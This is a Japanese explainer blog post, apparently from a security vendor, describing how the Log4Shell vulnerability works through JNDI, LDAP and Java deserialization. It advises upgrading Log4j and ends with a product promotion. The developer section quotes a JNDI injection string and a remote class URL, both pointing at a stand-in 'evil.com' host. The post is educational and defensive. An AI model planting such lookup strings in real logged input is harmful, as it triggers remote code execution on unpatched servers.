Log4Shellをざっくり解説(開発者・Java開発者以外の方向け)
2021年12月15日
0 分で読めます編集者注(2021年12月28日 午後7時35分 GMT): Log4jチームは新しいセキュリティアップデートをリリースしました。このアップデートにより、2.17.0にCVE-2021-44832として特定されたリモートコード実行の脆弱性があることが判明しました。現時点での最新バージョンである2.17.1へのアップグレードを推奨します。
編集者注(2021年12月18日 午後6時55分 GMT): Log4jをめぐる状況は急速に変化しており、新しい情報が入り次第、ブログを更新しています。 2.17.1 以降のバージョンへのアップグレードを推奨します。このバージョンには、 2.15.0 で修正された2つのリモートコード実行の脆弱性(CVE-2021-44228および 2.16.0 で修正された CVE-2021-45046)、さらに2.17.1で修正された最新のDoS脆弱性(CVE-2021-45105)に対するセキュリティ修正が含まれています。詳しくは こちらをご覧ください。
テクノロジー業界にいる方なら、ネット界隈で話題をさらっているLog4Shellエクスプロイトについて耳にしたことがあるでしょう。Java開発者(あるいは何らかの開発者)でない方は、いったい何が起きているのかと首をかしげているかもしれません。
この記事は2部構成です。開発者以外の方向けのLog4Shellの解説と、Java開発者以外の方向けのLog4Shell脆弱性の概要をお届けします。
開発者以外の方向け:Log4Shellの概要
ブラウザーでウェブサイトを開くと、そのサイトの画像が表示されますよね。実は、画像を表示するまでにブラウザーは2つのステップを踏んでいます。まず、https://snyk.ioのようなHTMLページを取得します。そのHTMLページには、次のような画像への参照が含まれています。
次に、ブラウザーは画像を取得するために新たなリクエストを送信します。

これがLog4Shellエクスプロイトとどう関係するのでしょうか?
Log4jは、ログファイルに情報を書き込むために広く使われているJavaライブラリーです。通常は、特定のイベントが発生した時刻や、問題が起きたときのエラーメッセージなどを記録します。
ブラウザーが画像のURLを取得するのと同じように、リモートURLを参照できるJavaテクノロジーがほかにもあります。Log4jは、リモートURLからアセットを取得するように悪用される可能性があります。ただし、取得されるのは画像ではなく、コンパイル済みのJavaコードです。
そのコンパイル済みJavaコードは、標的マシン上で別のプログラムを実行するなど、さまざまな悪意ある操作を実行できます。これはリモートコード実行(RCE)の脆弱性と呼ばれ、最も深刻な種類の脆弱性です。
Log4Shellエクスプロイトの仕組みに関心がある方は、ぜひ続きをお読みください。または、下部にあるLog4Shellの検出と修正に役立つリソースに進んでください。
開発者向け:Log4Shellを詳しく解説
このエクスプロイトを非常に深刻なものにしている、Java内部の仕組みについて説明します。少し専門的な内容になるので、下にあるLog4Shellへの対処において組織を支援する方法に進んでも構いません。
Log4Shellの基盤となる技術は、少なくとも2016年から存在しています。Javaにおけるリモートコード実行を扱ったBlackhatカンファレンスの発表資料はこちらです。驚くべきことに、Log4Shellを構成する3つの要素のうち2つは、すでにこの発表で取り上げられています。次に、これらの要素と、それらがどのように連携してLog4Shellを機能させるのかを見ていきましょう。
Log4Shellを構成する要素を見てみる
このセクションでは詳しく掘り下げるとお伝えしましたね!
Javaを優れたものにしている(そして初心者には分かりにくいこともある)要素の一つが、「抽象化レイヤー」です。たとえば、開発者は特定のベンダーのデータベースサーバーに依存せずに、データベースと連携するコードを書けます。ローカルでのテストではMySQLを使い、本番環境へのデプロイ後は会社でPostgreSQLを使う、といったことも可能です。データベースの抽象化レイヤーのおかげで、コードを一行も変更する必要はありません。
Javaの「電話帳」:JNDI
Java Naming and Directory Interface(JNDI)は、Javaコードがさまざまな種類のディレクトリーと連携できるようにする抽象化レイヤーです。たとえば、Domain Name Service(DNS)は、ドメイン名を検索するためのディレクトリーの一種です。Lightweight Directory Access Protocol(LDAP)は、ディレクトリーサーバーが組織、個人、ネットワーク上のデバイスなどのリソースに関する情報を提供するために使用されます(Microsoft Active Directoryの基盤となっているものです)。
LDAPが扱うのはテキストだけではない
テキスト情報に加え、LDAPにはシリアライズされたJavaオブジェクトも保存できます。
シリアライズされたJavaオブジェクトは、強力である一方、危険を伴う可能性のあるJavaコードの表現形式です。簡単に言うと、コードを凍結した状態で保存し、後から解凍できるようなものです。これには正当な用途が数多くありますが、今回のケースではLog4Shellを機能させる仕組みの一部となっています。この点はひとまず覚えておいてください。まもなく、すべてがつながります。
JNDI、LDAP、Log4Jが連携して問題を引き起こす仕組み
つい最近まで、Log4JはJNDI参照を許可しており、アプリケーションに代わって自動的に解決していました。この仕組みに正当な用途があるかどうかにかかわらず、Log4Jの最新リリース(執筆時点では2.16.0)では、この機能が完全に削除されています。つまり、Log4Jを2.16.0にアップデートすれば、Log4Shellエクスプロイトから保護されます。
これらはどのように連携するのでしょうか?次のようなログメッセージを想像してみてください。
このコードに見覚えがなくても心配ありません。重要な点は次のとおりです。
古いバージョンのLog4Jは、文字列
${jndi:ldap://evil.com:9999/Evil}をJNDI LDAP参照として解釈していました。この場合、悪意あるサーバーへの参照です。JavaのJNDIスタックは
evil.comにLDAPリクエストを送信し、/Evilを検索します。Evil.comのLDAPサーバーは、シリアライズされたJavaオブジェクトへのリモート参照を含む応答を作成します。たとえば、次のようなものです:http://evil.com:8000/Evil.classこれにより、ブラウザーが画像を取得するのと同じように、
evil.comのHTTPサーバーに対して別のリクエストが発生します。Evil.classが取得され、バイナリペイロードとしてダウンロードされた後、デシリアライズ処理によってJavaオブジェクトに変換されます。再構成されたJavaオブジェクトが実行されます。ここで、無防備なマシン上で任意のコードを実行できるようになります。
最後の点をより分かりやすくするために、次のサンプルコードを見てみましょう。
コードに見覚えがなくても、繰り返しになりますが心配はいりません。重要なのは、Javaのexec呼び出しによって、Javaの_外部で_コマンドが実行される点です。この例では一時ディレクトリー内のファイルに書き込んでいますが、ハードドライブ全体を消去するコマンドや、機密ファイルを別の悪意あるエンドポイントに送信するコマンドを実行することも可能です。
下手な図なしでは解説が完結しませんね。Log4Shellをざっくり図にすると、次のようになります。

ここで何が起きているかを完全には理解できなくても、何気ないログメッセージからかなりの量のネットワーク通信が発生していることが分かります。
Log4Shell初心者からエキスパートへ
システムを安全に保つ簡単な方法は、Snykでスキャンすることです。SnykはLog4Shellを検出し、修正用のPRを自動で作成できます。モニタリング機能を有効にすれば、依存関係(およびその依存関係)が更新され、安全に使用できるようになったときにも通知します。今すぐSnykの無料アカウントに登録しましょう。
Log4Shellエクスプロイトへの対処に役立つ、優れたリソースもまとめました。
Log4Shellについてさらに詳しく知りたい方は、こちらのリソースをご覧ください。



